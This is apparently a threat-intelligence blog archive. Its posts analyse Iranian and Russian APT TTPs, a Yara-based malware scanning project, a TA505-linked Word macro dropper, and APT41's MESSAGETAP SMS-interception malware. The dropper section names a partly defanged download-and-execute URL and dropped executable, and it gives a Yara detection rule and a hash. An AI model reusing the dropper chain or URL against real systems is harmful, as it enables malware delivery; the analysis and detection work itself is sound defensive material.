According to Malpedia: “OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.” The threat actor uses opensource tools such as Mimikatz and laZagne, common sysadmin toolset available on Microsoft distribution or sysinternals such as: PsExec, CertUtil, Netstat, SystemInfo, ipconfig and tasklist. Bonupdater, Helminth, Quadangent and PowRuner are some of the most sophisticated Malware attributed to OilRig and analyzed over the past few years. Techniques (green) are mainly focused in the lateral movements and in getting persistence on the victim infrastructure; few of them involved exploiting or 0days initiatives.

OilRig TTP

Those observations would suggest a powerful group mostly focused on staying hidden rather than getting access through advanced techniques. Indeed no 0days or usage of advanced exploits is found over the target infrastructure. If so we are facing a state-sponsored group with high capabilities in developing persistence and hidden communication channels (for example over DNS) but without a deep interest in exploiting services. This topic would rise a question: OilRig does not need advanced exploiting capabilities because it is such a simple way to get into a victim infrastructure ? For example by using: user credential leaks, social engineering toolkits, targeted phishing, and so on and so forth or is more on there to be discovered ?


According to MITRE: “MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group’s victims are mainly in the telecommunications, government (IT services), and oil sectors.” Currently we have few artifacts related to MuddyWater (‘Muddy’), indeed only Powerstats backdoor is actually attributed to it. Their attack are typically “hands driven”, which means they do not use automation lateral movement but they prefer to use opensource tools or sysinternal ones to deliberately move between target network rather than running massively exploits or scanners.

MuddyWater TTP

Once landed inside a victim machine Muddy looks for local credentials and then moves back and forward by using such a credentials directly on the network/domain controllers. According to MITRE techniques (green) MuddyWater to take an entire target-network might take few months but the accesses are quite silent and well obfuscated. Again it looks like we are facing a group which doesn’t need advanced exploitation activities but rather than advanced IT knowledge in order to move between network segments and eventual proxies/nat.


According to MITRE: “APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.” Analyzing the observed TTPs we might agree that this threat actor looks very close to MuddyWater. If you take a closer look to the Muddy Graph (in the previous dedicated section) and APT33 graph (following) you will see many similarities: many tools are shared, many techniques are shared and even artifacts Powerstats (Muddy) and Powertron (APT33) share functions and a small subset of code (even if they have different code bases and differ in functionalities). We have more information about APT33 if compared to MuddyWatter, but similarities on TTPs could induce an avid reader to think that we might consider APT33 as the main threat actor while MuddyWater a specific ‘operation’ of the APT33 actor.


But if you wonder why I decided to keep them separated on such personal and preliminary analysis you could find the answer in the reason in why they do attack. APT33 showed destruction intents by using Malware such as shamoon and stoneDrill, while Muddy mostly wants to “backdooring” the victims.


According to MITRE: “CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.” CopyKittens threat actor actually differ from the previous ones. First of all we see the usage of CobaltStrike, which is an autonomous exploiting system (well actually is much more, but let me simplify it). Cobalt and Empire (a post exploitation framework) taken together would allow the attacker to automate lateral movement. Which is a damn different behavior respect to previous actors. CopyKittens would make much more noise inside an attacked network and would be easier to detect if using such automation tools, but on the other hand they would be much more quick in reaching their targets and run away.

CopyKittens TTP

One more characteristic is the “code signing”. While in OilRig, MuddyWater and APT33 we mostly observed “scripting” capabilities, in CopyKittens we are observing most advanced code capabilities. Indeed code signing is used on Microsoft Windows and IOS to guarantee that the software comes from known developer and that it has not been tampered with. While a script (node, python, AutoIt) could be attribute to IT guys as well as developers, developing more robust and complex software ( such as: java, .net, c++, etc) is a skill typically attributed to developers. This difference could be significant in suspecting a small set of different people working on CopyKittens.


According to MITRE: “Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. [1] Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). ” We have few information about this group, and as you might see there are few similarities. The usage of Mimikatz could be easily adopted for credential dumping, while TinyZBot is a quite interesting tool since it mostly implements spying capabilities without strong architectural design or code execution or data exfiltration.

Cleaver TTP

Just like Charming Kitten (which is not included into this report since it is a quite ongoing mistery even if a great report from Clear Sky is available), Cleaver is a threat group that is responsible of one of the first most advanced and silent cyber attack attributed to Iran known until now (OpCleaver, by Cylance). Cleaver attack capabilities are evolved over time very quickly and, according to Cylance, active since 2012. They look like to have infiltrated some of the world economic powers (ref: here) such as: Canada, China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, United Arab Emirates, and the United States. In the very first page of the OpCleaver report, the author writes that Cleaver is one of the most advanced threat actors ever. Even if I might agree with Cylance, I personally do not have such evidences so far, so I personally cannot compare Cleaver threat actor to the previus ones.

Threat Actors Comparison

Here comes the fun ! How about taking all these graphs and compare them ? Common references would highlight similarities, scopes and common TTPs and fortunately we might appreciate them in the following unique network diagram. You might spend over 20 minutes to check details on the following graph and I might decide to write an essay over it, but I will not do it :D, I’d like focus on few but important thoughts.

The iper-connection between the analyzed groups (take a look to the following graph) could prove that those teams are really linked together. They share Techniques, Procedures, Tools and Infection Artifacts and everything we might observe looks like belonging with a unique meta-actor. We might agree that the meta-actor would be linked to the sponsorship nation and we might decide to consider some of those groups as operations. In other words we might consider an unique group of people that teams up depending of the ongoing operation adopting similar capabilities and tool sets.

Threat Actor Comparison

OilRig and APT33 are the most known groups attributed to Iran, they share many tools but they clearly have two different intent and two different code bases (writing about Malware). CopyKittens, for example, have been clustered more closed to APT33 while Muddywater looks like clustered straight at the middle of them. But if we closely analyze the purposes and the used Malware we might agree in aggregating Muddy close to APT33, actually the weight of shared code should be heavier compared to common tools or common techniques, but I did not represent such a detail into graphs.

However two different ‘code experience’ are observed. The first one mostly focused on scriptting (node, python, autoIT) which could underline a group of people evolving from IT department and later-on acquiring cyersecurity skills, while the second observed behavior is mostly oriented on deep development skills such as for example: Java, .NET and C++. On MuddyWater and APT33 side, the usage of scripting engines, the usage of powershell, and the usage of Empire framework tighten together, plus the lack of exploiting capabilities or the lack in developing sophisticated Malware could bring the analyst to think that those threat actors hit their target without the need of strong development capabilities. On the other hand OilRig, Cleaver and CopyKitten looks like to have more software developing skills and looks to be mostly focused on stealth operations.


In this post I wrote a preliminary and personal analysis of threat actors attributed by the community to Iran, comparing TTPs coming from MITRE and relations extracted from Malpedia. The outcome is a proposal to consider the numerous groups (OilRig, APT33, MuddyWater, Cleaver, etc..) as a primary meta-threat-actor and dividing them by operations rather real group.

APT28 Attacks Evolution

APT28 is a well known Russian cyber espionage group attributed, with a medium level of confidence, to Russian military intelligence agency GRU (by CrowdStrike). It is also known as Sofacy Group (by Kaspersky) or STRONTIUM (by Microsoft) and it’s used to target Aereospace, Defence, Governmente Agencies, International Organizations and Media.

Today I’d like to share some personal notes after few years of collected evidences and readings on that topic.

Attack Timeline

The following timeline tracks APT28 back to 2008 and gives us a quick view on how big and organized is the threat group over the past decade.

APT28 Timeline

According to the many analyses made by Unit42 (available HERE), FireEye (HERE, HERE) and TALOS (HERE, HERE ) we might agree that APT28 has been very active (or at least very “spotted”) during the time frame between 2012 to 2019. However most of the new attacks, qualitative speaking, happened during the time frame between 2018 to 2019. For that reason it would be interesting to analyze how they’ve evolved over such a time frame in order to understand their change and their principal characteristics. From what I’ve tracked and from what I’ve read over the past few years it looks like APT28 changed in many areas, but today I’d like to focus mostly on the following three main areas: Weaponization, Delivery, Installation. Let’s discuss one to one those areas.


Weaponization is a PRE-ATT&CK technique. It is classified as the operations needed to build and/or to prepare a complex attack. In other words all the infrastructures, the samples, the command and controls, the domains and IPs, the certificate, the libraries and, general speaking, all the operations that come before the attack phase in term of environments. Intelligence, humanInt, information gathering, informal test and so on, are not included in Weaponization since coming directly into the ATT&CK framework.

Weaponization Timeline

Observing the weaponization timeline it turns out there are three main blocks with few shared characteristics. For example from 2017 to early 2018 APT28 used specific techniques such as: T1251, T1329, T1336 and T1319. Those techniques are mainly focused on external – outsourcing (except for T1319) skills-set. Indeed acquiring 3rd parties infrastructures or Installing and configure hardware networks-systems and the usage of third party obfuscation libraries would definitely highlight a human resource depletion or the clear intent of false flag. On the other hand during early 2018 to mid-2018 the weaponization chain changed a lot moving to T1314, T1322 and to T1328. Those techniques enforced the idea the group moved from external professional resources and from hardware localized techniques to internal professional resources (indeed they started buy own domain for propagation and C2) . Finally from October 2018 to late march 2019 APT28 introduced a totally different weaponization technique: the T1345. It is not a direct consequence to the previous observed techniques, actually we might think they improved or forked an internal dev team. Those self-developing capabilities (implemented by T1345) were not observed during the past years and highlight a slightly significant change. We might think they enrolled a dedicated dev-team or they forked the actual one by running on two different paths.


Delivery is the way attackers deploy the initial content to the victim. In other words how the adversary reach his victim by starting the infection chain. On one hand the delivery vector is often the only (or the first) artifact (such as: a Malware, a Link or exploit kit usage) that the cybersecurity analyst could observe. Unfortunately very often analysts don’t have the possibility to track every single attack phase but they can just observe a small “portion” of it, and very often that “portion” is the “delivered artifact”. Tracking the changes on Delivery would help cybersecurity analysts to build up the idea about threat actors by comparing likeness and differences in coding, styling and techniques. Indeed the delivery phase is a special key point to distinguish threat actors which usually tend to specialize their crafting capabilities over time rather than pivoting their capabilities on new delivery vectors. The following timeline shows how the delivery changed over the analyzed time frames.

Delivery Timeline

While in the previous section (weaponization section), three were the main macro blocks, in the delivery section everything looks like uniform and quite flat based on technique T1193: Spearphishing with a malicious attachment. But if we focus on the beginning of 2018 it looks like APT28 was using a more consolidated intelligence technique (T1376) by focusing on Human Intelligence in order to grab precious information used to deliver a well-crafted email campaign (government institutions related to foreign affairs). The delivery phase, at such time, was implementing a quite sophisticated dropper technology by exploiting vulnerabilities to “save and run” the payload in the desired place. The most exploited vulnerabilities by APT28 have been tracked as follows:

CVE-2017-0144 , CVE-2013-3897, CVE-2014-1776, CVE-2012-0158, CVE-2015-5119, CVE-2013-3906, CVE-2015-7645, CVE-2015-2387, CVE-2010-3333, CVE-2015-1641, CVE-2013-1347, CVE-2015-3043, CVE-2015-1642, CVE-2015-2590, CVE-2015-1701, CVE-2015-4902, CVE-2017-0262, CVE-2017-0263
CVE-2014-4076, CVE-2014-0515

The most used tracked vulnerabilities are mainly focused on: “Windows”, “Adobe Flash” and “Oracle” Technologies. During the past few months (almost one year from time writing) it was possible to observe a quick increment over Microsoft Office Vulnerabilities in order to drop second stages of payloads. This perfectly fits the new trend and the current infection chains.


While system persistence could be guaranteed in many different ways, for example by periodically exploiting a RCE vulnerability, persistence in case of Malware attacks is typically named: “Installation”. Since the main findings that I had analyzed for this post are Malware based, it makes sense to talk about Installation rather than talking about persistence. Moreover the installation procedure runs a key role into the infection chain. Observing the installation KPI would be meaningful to understand the developer team behind software, since developer teams do not like to change installation procedures over time because they used to focus on new features and/or to improve existing modules rather than change installation frameworks. The following timeline shows how Installation procedures changed over time on APT28 folks.

Installation Timeline

The observed time frame is focused on the past year since where the most interesting changes happened, at least in my personal opinion. Let’s start by observing that in early 2018 the most used techniques were: T1055, T1045, T1064, T1158 and T1037. Most of the used techniques belong to the “Scripting” world. In other words the most influential capabilities were based on Logon Scripts and JS/WB scripintg. From ~mid 2018 they group moves mostly on PowerShell scripting language (T1086 and T1140) widely used over the past two years (rif. HERE) ending up in early 2019 to advanced development techniques such as: T1221, T1204, T1045, T1047, T1112, which underline a quite interesting new develpment skillset.


As many groups are, APT28 is evolving over time. The group evolution is changing many TTPs (Tactics, Techniques and Procedures) but this time I decided to focus on: Installation, Delivery and Weaponization. Most of the tracked evolution indexes happened during the last one/two years showing a quick skill-sets enhancement on development, obfuscation and evasion techniques.

After 1 Million of Analyzed Samples

One year ago I decided to invest in static Malware Analysis automation by setting up a full-stack environment able to grab samples from common opensources and to process them by using Yara rules. I mainly decided to offer to cybersecurity community a public dataset of pre-processed analyses and let them be “searchable” offering PAPI and a simple visualization UI available HERE. Today after one year is time to check how the project grown and see its running balance.

How it works

Malware Hunter is a python powered project driven by three main components: collectors, processors and public API. The collector takes from public available sources samples and place them in a local queue waiting to be processed. The processors are multiple single python processes running on a distributed environment which pulling samples from the common queue, process them and saves back to a mongodb instance the whole processed result-set. Unfortunately I cannot store all the analyzed samples due to the storage price which would rise quite quickly, so I manly collect only “reports”: a.k.a what the processor has analyzed. Public API (if you want access to them, please write me) are used to query the mongodb and for submitting new samples. Finally a simple user interface is provided for getting some statistics over time. A periodic task looks for specific matched Yara rules which stands for APT and populates a specific view available HERE. In other words if it finds a match on a well-known Yara rule built to catch Advanced Persistent Threats, it collects the calculated hash and through a dedicated API visualizes stats and matching signatures of all potential APT found. Everything runs without human interaction, and this is good and bad as well. It is good since it can scale up very quickly (depending on the acquired power on the VPS) but on the other hand by having no human interaction, depending on the implementation of Yara rules, the system can have many false positives. BUT what is interesting to me is having a base set of samples from which starting on. Without such a kind of tool, how would you start finding specific threats ? In that specific case I can start from the one matched the specific signature related to the specific threat I want to follow, rather than starting randomly.


After almost one year of fully automated static analyzed samples through Yara rules, Malware Hunter analyzed more than one Million samples, distributed in the following way.

Malware Analyses Distribution

It looks like on April 2019 the engine extracted and analyzed a small set of samples if compared to the general trend, while on late August / first of September it analyzed more than 250k samples. It is interesting to see a significant increase of analyses at the “end of the year” if compared to the analyses performed at the beginning of the same year. While malware collectors collect the same sources over the past year, the engine analyzes only specific file types (such as for example PE and Office files) and assuming the sample sources had not working breaks, it can mean that:

  • More non-in-scope samples have been spread over the time frame between April to June such as for example: HTML, Javascript, VBA etc.. or
  • Malware flow is subject to cyclical trends depending on a multiple topics including political influences and fiscal years.

Observing the most snapped Yara rules it is nice to check that the most analyzed samples were executable files. Many of them (almost 400k) hid a PE file compressed and/or encrypted into themselves.

TOP Matched Rules

Many Yara matches highlight an high presence of anti-debugging techniques, for example: DebuggerTiming_Ticks, DebuggerPatterns_SEH_Inits, Debugger_Checks and isDebuggerPresent, and so on and so forth. If considered together with Create_Process, Embedded_PE and Win_File_Operations bring the analyst to think that modern malware is heavily obfuscated and weaponized against debuggers. From signatures such as: keyloggers and screenshots it’s clear that most of the nowadays malware is recording our keyboard activities and wants to spy on us by getting periodical screenshots. The presence of HTTP and TCP rules underline the way new malware keep getting online either for downloading shellcodes (signature shellcode) and to ask to be controlled from a C2 system (such as a sever). Many samples look like they open-up a local communication port which often hides a local proxy for encrypt communication between the malware and its command and control. Crafted Mutex are very frequent for Malware developers, they are used to delay or to manage the multi infection processes.

Equation Group Signature Matches

Another interesting observation comes fron the way Equation Group Toolset matches.

The Equation Group, classified as an advanced persistent threat, is a highly sophisticated threat actor suspected of being tied to the Tailored Access Operations (TAO) unit of the United StatesNational Security Agency (NSA).[1][2][3]Kaspersky Labs describes them as one of the most sophisticated cyber attack groups in the world and “the most advanced … we have seen”, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame.

From Wikipedia

Many EquationGroup_toolset signatures matched during the most characterized detection time frame (at the beginning and at the ending of the year) alerting us that those well-known (August 2016) tools are still up and running and heavily reused over samples. ShadowBrokers released the code on August 2016 and from that time many piece of malware adopted it, still nowadays looks like be actual in many executable samples.

From the slow but interesting page “potential APT detection” (available HERE) we have “live” stats (updated every 24h) on APT matches over the 1 Million analyzed samples. Dragonfly (As Known As Energetic Bear) is what the Malware Hunter mostly matched. According to MalPedia DragonFly is a Russian group that collects intelligence on the energy industry, followed by Regin. According to Kaspersky Lab’s findings, the Regin APT campaign targets telecom operators, government institutions, multi-national political bodies, financial and research institutions and individuals involved in advanced mathematics and cryptography. The attackers seem to be primarily interested in gathering intelligence and facilitating other types of attacks.

Most APT Signature Metches

Many Ursnif/Gozi were detected during the past year. Ursnif/Gozi is a quite (in)famous banking trojan targeting UK/Italy mostly, and attribute to the cybercrime group TA-505 from TrendMicro in late 2018 by spotting common evidences between Ursnif/Gozi and TA-505 banking trojans such as Dridex and the loader Emotet. Interesting to note that quite old rules related to Putter Panda hit in some samples (for example: 1b1c4bc8d5f32b429eac590ec94b1a0780eaf863db99674decb6b6bd9abdf979 and ef046640438ab22d0168017aa75f7137f7a94e30e9f2f16cd65596d0a95a75d2, ...). Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). The analysis on the found results might go further, but if you are interesting in getting into some details please do not hesitate to contact me, or to use the search field on that page.

Used Infrastructure

While the scrapers and the workers run in remote and domestic PCs, the PAPI server holds both: Public Application Program Interface and the searching scripts (the ones used to match and to alert for specific API matches). The following graphs show the VP usage at a glance.

Server Usage

4 CPUs at 100% most of time. CPUs are used to process Yara rules to build-up DataBase views, to filtering out unwanted samples (for example HTML, Javascript and so on..), for searching and alerting on interesting samples and for periodically enrich pre-calculated reports by adding additional information over time. Disk is mostly used for storing temporary files on separate queues before being processed. The used instance of MongoDB is not hosted on the same machine. The network graph is used to track network load balance between Bytes sent and Bytes received. Almost 2.0Mbps incoming network is the lower bound-rate while 300Kbps is the average on out-bound. This means collectors are grabbing a nice number of new samples per day from public available sources and they push the new samples on the central queue as well. On the other hand PAPI usage looks like taking a lower outbound rate. It makes sense since the PAPI Json result for single request is is way lighter than the sample itself represented from the request.

I hope you enjoy that tool, as usual feel free to search on samples, to use them to classify your TI and if you need PAPI let me know. I am planning to let it run unless the cost will increase too much for me.

TA-505 Cybercrime on System Integrator Companies


During a normal monitoring activity, one of the detection tools hits a suspicious email coming from the domain. The domain was protected by a Panama company to hide its real registrant and this condition rang a warning bell on the suspected email so that it required a manual analysis in order to investigate its attachment.
Digging into this malicious artifact opened up to a possible raising interest of the infamous TA505 in System Integrator Companies (companies in which have been found that threat).

Technical Analysis

During the past few weeks suspicious emails coming from the domain was detected: they were addressing System Integration Companies. The domain is registered through on 2017-12-07T15:55:27Z but recently renewed on 2019-10-16T05:35:18Z. The registrant is protected by a Panama company named WhoisGuard which hides the original registrant name. Currently the domain points to which is an IP address assigned to LeaseWeb a VPS hosting provider located in Netherland, Europe. Attached to the email a suspicious word document was waiting to be opened from the victim.

ThreatMacro Dropper
Brief DescriptionDocument Dropper

By opening the word document the victim displays the following text (Image1). The document tempts the victim in enabling the macro functionality in order to re-encode the document with readable charsets by translating the current encoding charset to the local readable one.

Image1: Word Document Content

A transparent Microsoft-word-shape placed on top of the encoded text avoids the victim to interact with the unreadable text. That document holds two VBA-Macro functions which were identified as a romantic AutoOpen and an additional one named HeadrFooterProperty. Interesting to note that the document had no evidences on VT (during the analysis time), so it could be a revamped threat or a totally new one! The two Macros decoded a Javascript payload acting as a drop and execute by using a well-known strategy as described in: “Frequent VBA Macros used in Office Malware”. The following image shows the decoding process. A first round of obfuscation technique was adopted by the attacker in order to make harder the analyst’s decoding process. That stage implements an obfuscated Javascript embedded code which decodes, by using a XOR with key=11, a third Javascript stage acting as drop and execute on resource. That IP is assigned to Frontier Communications Solutions: a NY based company.

Image2: Deobfuscation Steps from obfuscated VBA to Clear “evaled” javascript

It was nice to read the obfuscated code since the variable names where actually thematically chosen per function. For example the theseus function is obfuscated with “divine terms”, one of my favorite was actually the following conditional branch: If pastorale / quetzalcoatl < 57 Then ..., which actually was always true ! 😀 (quetzalcoatl is “feathered serpent” a aztech god, while pastorale is an evocative composition often used for cite or pray to gods). Another fun fact was in the variable name the attacker attributed to the string “JavaScript”: emotionless. In particular the attacker refers to JavaScript through the object “emotionless.Language”. Funny isn’t it ?
The final javascript downloader aims to drop a file from http://66[.133[.129[.5/~chuckgilbert/09u8h76f/65fg67n placing it into the system temporary directory and naming it nanagrams.exe. Finally it runs that windows PE file on the victim machine.
During the analysis-time the dropping URL was not working, indeed the dropping URL contains a surprise.php. Actually, a misconfiguration of the dropping website allowed us to visualize its source code. As shown in the following image (Image3) the page tracks the visitors through an iframe pointing to: http[://tehnofaq[.work and through a random loop redirects the downloader script to a different dropping URL.

Image3: Redirecting script

Building a re-directors or proxy chains is quite useful for attackers in order to evade Intrusion Prevention Systems and/or protections infrastructures based upon IPs or DNS blocks. In such a case the redirection script pushes to one of the following domains by introducing the HTML meta “refresh” tag, pointing the browser URL to a random choice between 4 different entries belonging to the following two domains:

  • http[://
  • http[://

Possible Link with TA-505

The used infrastructure, by analyzing the dropping urls, looks like an old infrastructure used for propagating Ransomware. Indeed it’s possible to observe many analogies with the following dropping urls belonging to a previously utilized Ransomware threat:

  • http[://
  • http[://
  • http[://

The infrastructure used in the attacks suggests the involvement of the cybercrime group TA505. The TA505 group, that is known to have operated both the Dridex and Locky malware families, continues to make small changes to its operations. TA505 hacking group has been active since 2014 focusing on Retail and banking sectors.
Recently security experts at Proofpoint observed the notorious TA505 cybercrime group that has been using a new RAT dubbed SDBbot, it is a backdoor that is delivered via a new downloader dubbed Get2 that was written in C++. The dropper was also used to distribute other payloads, including FlawedGrace, FlawedAmmyy, and Snatch. The used URLs in the attack have the same pattern associated with the notorious crime gang, the researchers also pointed out that the IP addresses (i.e. observed in the attacks were involved in previous campaigns delivering Locky and Dridex malware.

Unfortunately, I was not able to analyse the final payload of the attack chain that was still not available at the time of the analysis. The final stage malware analysis is essential to attempt to attribute the attack to a specific threat actor. The evidence and artifacts collected in this analysis suggest two possible scenarios:

  • TA505 group is expanding his operations, but it still controlling an infrastructure involved in previous attacks across the years. The threat actors still leverage this infrastructure for “hit and run” operations or to test new attacks technique and tools avoiding to expose their actual infrastructure. Both options are interesting, but only the knowledge of the final stage malware could give us a wider view on the current operations of the group.
  • Another threat actor, likely financially motivated, is leveraging the same infrastructure used by TA505 and used it to make it harder the analysis and the attribution of the attacks.


An interesting Maldoc acting as drop-and-execute was identified and spotted in the wild targeting System Integrator based in Europe . From the described analysis we attempted to identify the attacker by observing he was exploiting an old infrastructure behind as a dropping websites.
During the analysis time the attack-path was still incomplete and the attacker didn’t weaponize the dropping websites yet, but the spread document is able to grab content from specific URLs and to run directly on the victim machine.
The used strings for obfuscating the dropper were actually fun and “thematic”. For example strings like “madrillus”, “vulcano”, “pastorale”, “quetzalcoatl” remind an ancient culture (mandrillus, vulcano and quetzalcoatl) while objects like “emotionless” assigned to a specific programming language reminds a witty attacker.

Since no final stage was obtained so far, attribution is quite hard, but TTPs suggest a TA-505 attacker, due to the collected artifacts and to the analyzed URLs.

Indicator of Compromise (IoC)

Hash: 7ebd1d6fa8c21b0d0c015475ab8c7225f949c13a33d0a39b8c069072a4281392

Yara Rules

rule TA505_Target_SystemIntegrators_sample {
      description = "TA505 target System Integrators"
      date = "2019-11-11"
      hash1 = "7ebd1d6fa8c21b0d0c015475ab8c7225f949c13a33d0a39b8c069072a4281392"
      $x1 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" fullword wide
      $s2 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\MSO.DLL#Microsoft " wide
      $s3 = "'%TEMP%\\conjunctiva.exe'" fullword ascii
      $s4 = "rams.exe" fullword ascii
      $s5 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL#Visual Basic For Applicat" wide
      $s6 = "WScript.Shell" fullword ascii
      $s7 = "\\nanagrams.exe" fullword ascii
      $s8 = "*\\G{00020905-0000-0000-C000-000000000046}#8.3#0#C:\\Program Files\\Microsoftvolcano" fullword wide
      $s9 = " Office\\OFFICE11\\MSWORD.OLB#Microsoft Word 11.0 Object Library" fullword wide
      $s10 = "PROJECT.THISDOCUMENT.AUTOOPEN" fullword wide
      $s11 = "5\\x64\\x7b\\x6e\\x65\\x23\\x29\\x4c\\x4e\\x5f\\x29\\x27\\x7e\\x79\\x67\\x27\\x6d\\x6a\\x67\\x78\\x6e\\x22\\x30\\x2b\\x" fullword ascii
      $s12 = "Project.ThisDocument.AutoOpen" fullword wide
      $s13 = "mistyeyed" fullword ascii
      $s14 = "(xor_key ^ plain_str.charCodeAt(i)); return xored_str;}" fullword ascii
      $s15 = "IVa.ExE'); StaRT " fullword ascii
      $s16 = "65\\x2b\\x73\\x63\\x79\\x25\\x79\\x6e\\x78\\x7b\\x64\\x65\\x78\\x6e\\x49\\x64\\x6f\\x72\\x30\\x2b" fullword ascii
      $s17 = "costaTEMP%instantaneous" fullword ascii
      $s18 = "wdSeekCurrentPageHeader$$0" fullword ascii
      $s19 = "TEMP%in " fullword ascii
      $s20 = "conjecturalitygclamydospore" fullword ascii
      uint16(0) == 0xcfd0 and filesize < 100KB and
      1 of ($x*) and 4 of them

MESSAGETAP: Who’s Reading Your Text Messages?

FireEye Mandiant recently discovered a new malware family used by APT41 (a Chinese APT group) that is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft. Named MESSAGETAP, the tool was deployed by APT41 in a telecommunications network provider in support of Chinese espionage efforts. APT41’s operations have included state-sponsored cyber espionage missions as well as financially-motivated intrusions. These operations have spanned from as early as 2012 to the present day. For an overview of APT41, see our August 2019 blog post or our full published report. MESSAGETAP was first reported to FireEye Threat Intelligence subscribers in August 2019 and initially discussed publicly in an APT41 presentation at FireEye Cyber Defense Summit 2019.


APT41's newest espionage tool, MESSAGETAP, was discovered during a 2019 investigation at a telecommunications network provider within a cluster of Linux servers. Specifically, these Linux servers operated as Short Message Service Center (SMSC) servers. In mobile networks, SMSCs are responsible for routing Short Message Service (SMS) messages to an intended recipient or storing them until the recipient has come online. With this background, let's dig more into the malware itself.

MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds.  If either exist, the contents are read and XOR decoded with the string:

    • Interestingly, this XOR key leads to a URL owned by the European Telecommunications Standards Institute (ETSI). The document explains the Short Message Service (SMS) for GSM and UMTS Networks. It describes architecture as well as requirements and protocols for SMS.

These two files, keyword_parm.txt and parm.txt contain instructions for MESSAGETAP to target and save contents of SMS messages.

  • The first file (parm.txt) is a file containing two lists:
    • imsiMap: This list contains International Mobile Subscriber Identity (IMSI) numbers. IMSI numbers identify subscribers on a cellular network.
    • phoneMap: The phoneMap list contains phone numbers.
  • The second file (keyword_parm.txt) is a list of keywords that is read into keywordVec.

Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP. Finally, the malware parses and extracts SMS message data from the network traffic:

  1. SMS message contents
  2. The IMSI number
  3. The source and destination phone numbers

The malware searches the SMS message contents for keywords from the keywordVec list, compares the IMSI number with numbers from the imsiMap list, and checks the extracted phone numbers with the numbers in the phoneMap list.

Figure 1: General Overview Diagram of MESSAGETAP

If the SMS message text contains one of the keywordVec values, the contents are XORed and saved to a path with the following format:

  • /etc/<redacted>/kw_<year><month><day>.csv

The malware compares the IMSI number and phone numbers with the values from the imsiMap and phoneMap lists. If found, the malware XORs the contents and stores the data in a path with the following format:

  • /etc/<redacted>/<year><month><day>.csv

If the malware fails to parse a message correctly, it dumps it to the following location:

  • /etc/<redacted>/<year><month><day>_<count>.dump

Significance of Input Files

The configuration files provide context into the targets of this information gathering and monitoring campaign. The data in keyword_parm.txt contained terms of geopolitical interest to Chinese intelligence collection. The two lists phoneMap and imsiMap from parm.txt contained a high volume of phone numbers and IMSI numbers.

For a quick review, IMSI numbers are used in both GSM (Global System for Mobiles) and UMTS (Universal Mobile Telecommunications System) mobile phone networks and consists of three parts:

  1. Mobile Country Code (MCC)
  2. Mobile Network Code (MNC)
  3. Mobile Station Identification Number (MSIN)

The Mobile Country Code corresponds to the subscriber’s country, the Mobile Network Code corresponds to the specific provider and the Mobile Station Identification Number is uniquely tied to a specific subscriber.

Figure 2: IMSI number description

The inclusion of both phone and IMSI numbers show the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor.

Similarly, the keyword list contained items of geopolitical interest for Chinese intelligence collection. Sanitized examples include the names of political leaders, military and intelligence organizations and political movements at odds with the Chinese government. If any SMS messages contained these keywords, MESSAGETAP would save the SMS message to a CSV file for later theft by the threat actor.

In addition to MESSAGETAP SMS theft, FireEye Mandiant also identified the threat actor interacting with call detail record (CDR) databases to query, save and steal records during this same intrusion. The CDR records corresponded to foreign high-ranking individuals of interest to the Chinese intelligence services. Targeting CDR information provides a high-level overview of phone calls between individuals, including time, duration, and phone numbers. In contrast, MESSAGETAP captures the contents of specific text messages.

Looking Ahead

The use of MESSAGETAP and targeting of sensitive text messages and call detail records at scale is representative of the evolving nature of Chinese cyber espionage campaigns observed by FireEye. APT41 and multiple other threat groups attributed to Chinese state-sponsored actors have increased their targeting of upstream data entities since 2017. These organizations, located multiple layers above end-users, occupy critical information junctures in which data from multitudes of sources converge into single or concentrated nodes. Strategic access into these organizations, such as telecommunication providers, enables the Chinese intelligence services an ability to obtain sensitive data at scale for a wide range of priority intelligence requirements.

In 2019, FireEye observed four telecommunication organizations targeted by APT41 actors. Further, four additional telecommunications entities were targeted in 2019 by separate threat groups with suspected Chinese state-sponsored associations. Beyond telecommunication organizations, other client verticals that possess sensitive records related to specific individuals of interest, such as major travel services and healthcare providers, were also targeted by APT41. This is reflective of an evolving Chinese targeting trend focused on both upstream data and targeted surveillance. For deeper analysis regarding recent Chinese cyber espionage targeting trends, customers may refer to the FireEye Threat Intelligence Portal. This topic was also briefed at FireEye Cyber Defense Summit 2019.

